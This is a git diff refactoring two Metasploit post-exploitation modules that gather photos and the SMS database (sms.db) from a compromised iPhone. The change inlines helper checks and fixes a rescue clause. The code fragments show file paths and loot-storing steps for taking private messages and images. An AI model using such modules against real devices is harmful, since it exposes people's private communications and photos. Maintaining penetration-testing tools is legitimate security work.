diff --git a/modules/post/apple_ios/gather/ios_image_gather.rb b/modules/post/apple_ios/gather/ios_image_gather.rb
index 34d1dee295..7d2b79abeb 100644
--- a/modules/post/apple_ios/gather/ios_image_gather.rb
+++ b/modules/post/apple_ios/gather/ios_image_gather.rb
@@ -21,10 +21,6 @@ class MetasploitModule < Msf::Post
     ))
   end
 
-  def check_for_img_path(f_path)
-    directory?(f_path)
-  end
-
   def enum_img(f_path)
     path = File.join(Msf::Config.loot_directory, Rex::Text.rand_text_alpha(6))
     local_path = File.expand_path(path)
@@ -45,7 +41,7 @@ class MetasploitModule < Msf::Post
 
   def run
     img_path = '/private/var/mobile/Media/DCIM/100APPLE'
-    unless check_for_img_path(img_path)
+    unless directory?(img_path)
       fail_with(Failure::NotFound, "Could not find the default image file path")
     end
     print_good('Image path found. Will begin searching for images...')
diff --git a/modules/post/apple_ios/gather/ios_text_gather.rb b/modules/post/apple_ios/gather/ios_text_gather.rb
index f27de21ce4..b7b83d22b1 100644
--- a/modules/post/apple_ios/gather/ios_text_gather.rb
+++ b/modules/post/apple_ios/gather/ios_text_gather.rb
@@ -21,21 +21,17 @@ class MetasploitModule < Msf::Post
     ))
   end
 
-  def check_for_sms_file(file_path)
-    file?(file_path)
-  end
-
   def download_text_db(file_path)
     db_file_data = read_file(file_path)
     loc = store_loot('sms.db.file', 'text/plain', session, db_file_data, 'sms.db')
     print_good("sms.db stored at #{loc}")
-    rescue
-      fail_with(Failure::NoAccess, "Failed to read sms.db file")
+  rescue
+    fail_with(Failure::NoAccess, "Failed to read sms.db file")
   end
 
   def run
     sms_path = '/private/var/mobile/Library/SMS/sms.db'
-    unless check_for_sms_file(sms_path)
+    unless file?(sms_path)
       fail_with(Failure::NotFound, "Couldn't locate sms.db file")
     end